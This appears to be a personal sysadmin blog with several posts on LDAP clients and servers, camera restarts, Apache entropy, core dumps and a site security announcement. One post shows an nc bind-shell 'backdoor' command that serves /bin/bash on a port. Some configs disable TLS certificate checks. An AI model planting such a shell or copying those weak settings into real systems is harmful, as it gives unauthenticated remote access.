Category: Security

LDAP User Add Script

A bug with phpldapadmin in Ubuntu 10.04 has forced me to find other ways to add a generic Linux account to LDAP.

This consists of three files; I keep them in /root/ldap and have a symlink to add_ldap_user.sh in /usr/local/bin

add_ldap_user.sh Script

last.uid The last used UID, auto-incriments

user.ldif Sample linux account in LDIF format

add_ldap_user.sh


#!/bin/bash
NEWUID=`cat /root/ldap/last.uid`
echo -ne "First Name: "
read FIRST
echo -ne "Last Name: "
read LAST
echo -ne "User Name: "
read USERNAME

sed “s/FIRST/`echo $FIRST`/g” /root/ldap/user.ldif > /root/ldap/temp
sed “s/LAST/`echo $LAST`/g” /root/ldap/temp > /root/ldap/temp2
sed “s/USERNAME/`echo $USERNAME`/g” /root/ldap/temp2 > /root/ldap/temp
sed “s/USERUID/`echo $NEWUID`/g” /root/ldap/temp > /root/ldap/temp2

ldapadd -x -w`cat /etc/ldap.secret` -D “cn=admin,dc=YOUR,dc=HOSTNAME” < /root/ldap/temp2
echo `expr $NEWUID + 1` > /root/ldap/last.uid
rm /root/ldap/temp
rm /root/ldap/temp2
passwd $USERNAME

user.ldif


dn: cn=FIRST LAST,ou=People,dc=YOUR,dc=HOSTNAME
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: top
givenName: FIRST
sn: LAST
cn: FIRST LAST
uid: USERNAME
userPassword: {MD5}QaJUwABOZ6gUsv/xOD/FOQ==
gidNumber: 100
homeDirectory: /home/USERNAME
loginShell: /bin/bash
uidNumber: USERUID

last.uid

1900

Note that because the LDIF contains a place-holder password, you must be able to run ‘passwd LDAP-USER’ on the host you are running this on.

Automate Restart of D-Link DCS-900 Cameras

I have some older D-Link DCS-900 cameras being used with ZoneMinder for a security system at home.

While these cameras are normally very stable (no lock-ups for weeks or months at a time) it still happens. To make things work more smoothly, I decided to find a way to restart the devices with cron.

I decided to have the cameras be reset twice a month (on the 1st and 15th of each month at 4am).


crontab -e

0 4 1,15 * * wget –http-user=admin –http-password=YOUR-PASSWORD -O /dev/null –post-data=”Reset= Yes ” http://camera1/Reply.html

 

You can remove the –http-user and –http-password sections if you do not have an admin user/password set.

OpenSolaris LDAP Client to Linux OpenLDAP Server

The following outlines how to set up a OpenSolaris client to work with a Linux OpenLDAP server.

The following is one line

ldapclient manual -a credentialLevel=proxy -a authenticationMethod=simple -a proxyDN=cn=admin,dc=server -a proxyPassword=yourpassword -a defaultSearchBase=dc=server -a defaultServerList=192.168.1.1:389 -a serviceSearchDescriptor=passwd:ou=People,dc=server -a
serviceSearchDescriptor=group:ou=Groups,dc=server

Add the following lines to their appropriate sections in /etc/pam.conf

login   auth required           pam_ldap.so.1
other   auth required           pam_ldap.so.1
passwd  auth required         pam_ldap.so.1

Test LDAP with

ldaplist -l passwd

Test user authentication using the following steps

mkdir /export/home/ldapuser

chown ldapuser /export/home/ldapuser

Edit /etc/auto_home and add the following BEFORE “+auto_home”

ldapuser localhost:/export/home/ldapuser

SSH to test

ssh ldapuser@localhost

You should be in! If not, you may have to change the following in /etc/ssh/sshd_config

PAMAuthenticationViaKBDInt no

#Change from yes to no

Restart SSH

svcadm restart ssh

If you are still unable to log in, your userPassword attribute probably needs to be changed from md5/md5crypt to crypt.

su – ldapuser

passwd

After changing your password you should be able to log in.

Apache2 hangs with ‘Digest: generating secret for digest authentication’

I’m running Apache2+SSL inside a libvirtd (kvm) Virtual Machine.

After enabling SSL and trying to add another SSL site, apache should refuse to restart and the following error would show up in /var/log/apache2.log

Digest: generating secret for digest authentication

After doing some research, it turns out that the VM did not have enough entropy to generate much of anything. Increasing this is easy, but may not be completely secure.

# cat /proc/sys/kernel/random/entropy_avail
139

# apt-get install rng-tools

# rngd -r /dev/urandom -o /dev/random

# cat /proc/sys/kernel/random/entropy_avail
2220

After running rngd, the entropy will increase at a gradual rate.

If you want this to survive a reboot, you’ll need to put it in a startup script.

Debian Corefiles

If you have any issues with programs segfaulting, it can be useful to allow coredumps in order to see what happened.

You first have to allow coredumps

vi /etc/security/limits.conf

*  –  core  100000

@users  –  core  0

core is measured in kbytes, and core files can be fairly large (the simple script below generates a 350kb file).  Do not set this to unlimited for regular users!

echo 1 > /proc/sys/kernel/core_uses_pid

mkdir /tmp/core

echo “/tmp/core/dump” > /proc/sys/kernel/core_pattern

ulimit -c 100000

To test it let’s create a script that will cause a coredump.

vi core_dump.sh

#!/bin/bash
#core_dump.sh
kill -s $$
#end

chmod +x core_dump.sh
./core_dump.sh

ls /tmp/cores

dump.14594 core_dump.sh

To view the corefile, you need gdb.

apt-get install gdb

gdb -c dump.13594

Ubuntu 8.04 Hardy LDAP Client

Ubuntu 7.10 was a nightmare when it came to setting up ldap, but 8.04 improves this process quite a bit.

We are going to set up a Hardy client on a desktop machine, which involves using NFS (for /home) and allowing all desktop users to do desktop tasks.

apt-get install libpam-ldap libnss-ldap nss-updatedb libnss-db nfs-common nscd

Answer the questions; unlike Debian they should actually be put in the configuration file.

Make sure to transfer over your certifiate if you use SSL. I like to use /etc/ldap/ssl

Edit /etc/ldap.conf (which both libnss and libpam use).

host 192.168.1.1
base dc=example,dc=com

#This is important! Don't use ldap:///192.168.1.1
uri ldap://example.com/
ldap_version 3
rootbinddn cn=admin,dc=example,dc=com
port 389
bind_policy soft
pam_password crypt
ssl start_tls
tls_checkpeer no
tls_cacertfile /etc/ldap/ssl/cert.pem
nss_initgroups_ignoreusers avahi,avahi-autoipd,backup,bin,daemon,dhcp,games,gdm,gnats,haldaemon,hplip,irc,klog,libuuid,list,lp,mail,man,messagebus,news,polkituser,proxy,pulse,root,sync,sys,syslog,uucp,www-data

Now edit /etc/ldap/ldap.conf

BASE    dc=example,dc=com
URI    ldap://example.com
TLS_CACERT /etc/ldap/ssl/cert.pem
TLS_REQCERT never

/etc/pam.d/common-account

account    sufficient   pam_ldap.so
account    required     pam_unix.so

/etc/pam.d/common-auth

auth       sufficient   pam_ldap.so
auth       required     pam_unix.so nullok_secure use_first_pass

/etc/pam.d/common-password

password   sufficient   pam_ldap.so
password   required     pam_unix.so nullok obscure min=4 max=8 md5

/etc/pam.d/common-session

session    required     pam_unix.so
session    required     pam_mkhomedir.so skel=/etc/skel/
session    optional     pam_ldap.so

/etc/nsswitch.conf


passwd: files ldap
group: files ldap
shadow: files ldap

hosts:          files mdns4_minimal [NOTFOUND=return] dns mdns4
networks:       files

protocols:      db files
services:       db files
ethers:         db files
rpc:            db files

Now we want to make sure users are assigned to the correct groups when they log in, so add the following to /etc/security/groups.conf
gdm;*;*;Al0000-9000;floppy,audio,cdrom,video,plugdev,scanner

Hal does not recognize this, however, so delete the following entries from /etc/dbus-1/system.d/hal.conf


<deny send_interface="org.freedesktop.Hal.Device.Volume"/>
<deny send_interface="org.freedesktop.Hal.Device.Volume.Crypto"/>

We need to edit /etc/pam.d/gdm for the groups.conf file to take effect, so add the following

auth optional pam_group.so

As root, run

nss_updatedb ldap

To mount /home over NFS, add the following to /etc/fstab

192.168.1.1:/home       /home   nfs defaults 0 0

OpenLDAP Client and NFS on Windows XP

I am assuming your LDAP server is set up as per my previous post.

Before we go further, I would suggest setting up NFS and then updating your /etc/ldap/slapd.conf file

Since Windows (for me) had issues importing my openssl generated cert, I had to allow unencrypted. Depending on your setup, you may not find this to be a suitable option. You must then get a CA cert that isn’t self-signed.

Otherwise, just add ‘by auth’ to your existing access block.


access to attrs=userPassword,shadowLastChange
by tls_ssf=128 ssf=128 dn="cn=admin,dc=uwptechforce,dc=com" write
by tls_ssf=128 ssf=128 anonymous auth
by tls_ssf=128 ssf=128 self write
by auth
by * none

/etc/init.d/slapd restart

Go to http://pgina.org/ and download pGina and Plugins. Install pGina and extract the Plugins archive into c:pGina

You will have to install ldapauth; the installer for x86 and x86_64 is located in C:pGinapluginsLDAP

Unfortunately, from here on out we have to use a graphical configuration utility. Execute C:pGinaconfigure.bat

In the ‘Plugin’ tab, Select this file for the ‘Plugin Path’

C:pGinapluginsldapauthldapauth_plus.dll

You may also want to check the Show authentication method checkbox on this tab; it allows you to select between LDAP and the Local machine in the login window.

Under the Account Interaction tab, check:

Keep Profiles: This will allow you to have persistent files/settings, allow you to make persistent permission changes (remote desktop, file permissions, etc.).

Force Login: If you change your password elsewhere, this will allow you to use the local password with the password you’re authenticated with

Under the Profile tab, you might want to consider changing the default groups for users who log in (separated with semi-colons). By default everyone is a ‘Limited’ user; Power Users might be more appropriate for a Windows workstation. Do not set any options for ‘Profiles’; they do not work and will conflict with LDAP.

We will now configure LDAP using the Plugin Tester; it provides a good way to debug issues and allows you to configure/test in an easy manner. Execute C:pGinaplugin_tester.exe

Browse and select C:pGinapluginsldapauthldapauth_plus.dll. Now let’s configure it.

Click on the ‘Search’ button. Next to LDAP Server enter the hostname/ip of your LDAP server. Set the port to 389. Add “ou=People,dc=server,dc=com” in Contexts.

If you would like to restrict what users can log into pGina, you can set this in the User Configuration tab. I would recommend against changing anything else here until you have a working setup.

Now for the test. Push the pGina Load button. Enter a user/pass and push ‘Login’.

If this does not work, do the usual and debug slapd and look in the Event Viewer in Windows.

Now for NFS.

On any linux LDAP client, you will need to getent passwd > map.txt && getent group > map2.txt to generate a passwd-like file for Windows. No passwords are stored here. I suggest doing this on the NFS server in cron.


0 1 * * 1 getent passwd > /nfs/map.txt
0 1 * * 1 getent group > /nfs/map2.txt

Once a week your passwd and group map will be updated; coincidentally Windows NFS client updates it’s mapping once a week by default. Feel free to change this to happen more often if needed.

Still, you need to copy over map.txt and map2.txt from Linux before NFS works.

Google Windows Services for UNIX Version 3.5. Extract it and run the installer; select ONLY the Client for NFS under NFS and User Name Mappings under Authentication tools for NFS. When prompted, choose ‘passwd-like files’ instead of NIS.

When prompted, browse for your map.txt and map2.txt files.

Create a file called C:nfs.bat


mount 192.168.1.1home Z:

You probably want to run this at startup; just add a new “String Value” in HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun with a name like “mount nfs” and a value of C:nfs.bat

This entry can be easily disabled later with msconfig.

Now run nfs.bat, and check to see that a Z: was created. If so, you’re done!

Remote backdoor on Linux using ‘nc’

nc -l -e /bin/bash -p 10001

Not much to explain here. -l listens for incoming connections, -e executes /bin/bash when you connect, and -p chooses the port to listen on.

You must use a semicolon after each command.

will@hydra:~$ telnet localhost 10001
Trying 127.0.0.1…
Connected to localhost.
Escape character is ‘^]’.
whoami;
will

There you go. Obviously this has the potential for misuse; running this as root will create a remote backdoor after all. But it’s also a very useful administrative tool. Keep in mind that nc is not encrypted in any way, and anyone could use this to connect.

nc terminates after you exit your connection, and only one person can be connected at once.

st0rage.org Security Announcement

Hi All!

I recently received this email from someone ([email protected] actually ;)). I was behind on my email, wish I had seen this sooner.

See http://it.slashdot.org/it/08/02/10/2011257.shtml
You did a good job at hardening your server but you forget /dev/shm
I used http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c to patch
your kernel on-the-fly.
But update your kernel.

A friend.

I’d like to thank the person who contacted me about it, and thank them for fixing the problem. That is probably the coolest thing ever to happen on st0rage. 🙂

Just figured I’d let everyone know; first root exploit since 2004. Whooo! 😀